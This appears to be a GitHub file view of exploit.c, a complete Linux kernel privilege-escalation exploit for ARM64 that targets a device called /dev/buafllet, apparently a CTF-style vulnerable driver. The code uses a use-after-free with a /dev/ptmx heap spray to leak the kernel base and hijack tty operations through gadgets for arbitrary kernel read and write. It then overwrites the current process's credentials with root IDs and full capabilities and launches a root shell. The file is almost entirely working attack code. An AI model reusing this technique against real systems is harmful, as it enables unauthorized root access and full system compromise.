-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit.c
282 lines (203 loc) · 7.18 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <unistd.h>
#include <stddef.h>
#define DEV_NAME "/dev/buafllet"
#define IOCTL_KMALLOC 0x10
#define IOCTL_KFREE 0x11
#define IOCTL_READ 0x12
#define IOCTL_WRITE 0x13
#define DELTA_INIT_TASK 0x2414040
#define DELTA_COMM 0x668
#define DELTA_TASKS 0x3a8
#define DELTA_CREDS 0x658
#define read_arb_gadget_offset 0x590a6c
#define write_arb_gadget_offset 0x2123c
// 0xffff800080590a6c : ldr w0, [x2] ; ret
// 0xffff80008002123c : str x1, [x2] ; ret
int fd_dev;
int spray[100];
unsigned long kbase;
unsigned long g_buf;
int kmalloc(size_t arg_size){
if ( ioctl(fd_dev, IOCTL_KMALLOC, &arg_size)){
perror("[-] IOCTL_KMALLOC failed.\n");
return 0;
}
}
int kfree() {
if (ioctl(fd_dev, IOCTL_KFREE, 0)) {
perror("[-] IOCTL_KFREE failed.\n");
return -1;
}
return 0;
}
int cache_fd_write = -1;
int cache_fd_read = -1;
char buf[0x400];
unsigned int kread32(unsigned long addr) {
// printf("[!] addr call by kread32: 0x%lx\n", addr);
if (cache_fd_read == -1) {
ioctl(fd_dev, IOCTL_READ, buf);
// 0x3f8 location of read_arb_gadget
// pahole -C tty_operations vmlinux
*(unsigned long *)&buf[0x20] = g_buf + 0x3f8 - 96;
ioctl(fd_dev, IOCTL_WRITE, buf);
for (int i = 0; i < 100/2; i++) {
int v = ioctl(spray[i], 0, addr);
printf("ioctl ret value: %d\n", v);
// getchar();
if (v != -1) {
cache_fd_read = spray[i];
return v;
}
}
}
else
return ioctl(cache_fd_read, 0, addr);
}
unsigned long kread64(unsigned long addr) {
unsigned long addr_leak = 0;
addr_leak |= kread32(addr);
addr_leak |= (unsigned long)kread32(addr + 4) << 32;
return addr_leak;
}
void kwrite64(unsigned long addr, unsigned long val) {
if (cache_fd_write == -1) {
ioctl(fd_dev, IOCTL_READ, buf);
*(unsigned long *)&buf[0x20] = g_buf + 0x3f0 - 96;
ioctl(fd_dev, IOCTL_WRITE, buf);
for (int i = 0; i < 100/2; i++) {
int v = ioctl(spray[i], val, addr /* rdx */);
if (v != -1) {
cache_fd_write = spray[i];
break;
}
}
} else
ioctl(cache_fd_write, val, addr);
}
void kwrite32(uint64_t addr, uint32_t value)
{
uint32_t hi_dword = kread64(addr) >> 32;
kwrite64(addr, ((uint64_t) hi_dword << 32) | value);
}
uint64_t lookup_current_task(uint64_t kbase)
{
puts("[*] changing .comm");
char new_task_name[] = "exploiit";
if (prctl(PR_SET_NAME, new_task_name) != 0)
{
perror("prctl");
exit(-1);
}
uint64_t init_task = kbase + DELTA_INIT_TASK;
uint64_t current_task = init_task;
do {
char task_name[17] = {0};
// printf("[!] comm @ 0x%lx\n", current_task+DELTA_COMM);
*(uint64_t*) &task_name[0] = kread32(current_task + DELTA_COMM);
*(uint64_t*) &task_name[4] = kread32(current_task + DELTA_COMM + 4);
printf("[*] %lx -> %s\n", current_task, task_name);
if (! strcmp(task_name, new_task_name))
return current_task;
current_task = kread64(current_task + DELTA_TASKS) - DELTA_TASKS;
} while (current_task != init_task);
}
void patch_creds(uint64_t task_struct)
{
uint64_t task_creds = kread64(task_struct + DELTA_CREDS);
printf("task_creds kread64 : 0x%lx\n", task_creds);
struct cred
{
uint32_t usage;
uint32_t uid; /* real UID of the task */
uint32_t gid; /* real GID of the task */
uint32_t suid; /* saved UID of the task */
uint32_t sgid; /* saved GID of the task */
uint32_t euid; /* effective UID of the task */
uint32_t egid; /* effective GID of the task */
uint32_t fsuid; /* UID for VFS ops */
uint32_t fsgid; /* GID for VFS ops */
uint32_t securebits; /* SUID-less security management */
uint64_t cap_inheritable; /* caps our children can inherit */
uint64_t cap_permitted; /* caps we're permitted */
uint64_t cap_effective; /* caps we can actually use */
uint64_t cap_bset; /* capability bounding set */
};
#define GLOBAL_ROOT_UID 0
#define GLOBAL_ROOT_GID 0
#define SECURE_BITS_DEFAULT 0
#define CAP_EMPTY_SET 0
#define CAP_FULL_SET -1
kwrite32(task_creds + offsetof(struct cred, uid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, gid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, suid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, sgid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, euid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, egid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, fsuid), GLOBAL_ROOT_UID);
kwrite32(task_creds + offsetof(struct cred, fsgid), GLOBAL_ROOT_GID);
kwrite32(task_creds + offsetof(struct cred, securebits), SECURE_BITS_DEFAULT);
kwrite64(task_creds + offsetof(struct cred, cap_inheritable), CAP_EMPTY_SET);
kwrite64(task_creds + offsetof(struct cred, cap_permitted), CAP_FULL_SET);
kwrite64(task_creds + offsetof(struct cred, cap_effective), CAP_FULL_SET);
kwrite64(task_creds + offsetof(struct cred, cap_bset), CAP_FULL_SET);
}
int main() {
fd_dev = open(DEV_NAME, O_RDWR);
kmalloc(0x2001);
kfree();
// sleep(1);
for (int i=0; i<100/2; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1) {
perror("open");
}
}
char *buffer = (char *)malloc(0x400);
ioctl(fd_dev, IOCTL_READ, buffer);
kbase = *(unsigned long *)&buffer[0x20] - 0x146d4b0;
if ( (kbase&0xfff) == 0x110 ) {
kbase = kbase - 0x110;
}
// ptm_unix98_ops
g_buf = *(unsigned long *)&buffer[0x40] - 0x40;
printf("[+] leaked kernel base address: 0x%lx\n", kbase);
printf("[+] leaked g_buf address: 0x%lx\n", g_buf);
// getchar();
// pty_unix98_ioctl
// for (int i=0; i<100; i++) {
// ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
// }
// X0 0xffff0000038e6000 ◂— 1
// X1 0xdeadbeef
// X2 0xcafebabe
// X3 0xffffd19ef42293a4 ◂— mov w3, w1 /* 0xaa0203e12a0103e3 */
// X4 0xcafebabe
*(unsigned long *)&buffer[0x3f0] = kbase + write_arb_gadget_offset;
*(unsigned long *)&buffer[0x3f8] = kbase + read_arb_gadget_offset;
ioctl(fd_dev, IOCTL_WRITE, buffer);
unsigned long task_struct_addr;
task_struct_addr = lookup_current_task(kbase);
printf("0x%lx", task_struct_addr);
// getchar();
// pahole -C task_struct vmlinux
// cred is 16 before comm
puts("[*] patching creds");
patch_creds(task_struct_addr);
puts("[*] Root !");
system("/bin/sh");
getchar();
return 0;
}